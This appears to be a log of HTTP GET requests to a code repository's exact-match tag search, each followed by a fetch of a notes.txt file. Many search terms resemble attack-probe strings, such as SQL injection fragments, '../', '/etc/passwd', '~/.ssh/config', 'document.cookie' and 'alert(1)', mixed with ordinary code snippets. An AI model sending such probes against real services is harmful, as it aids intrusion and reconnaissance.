{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
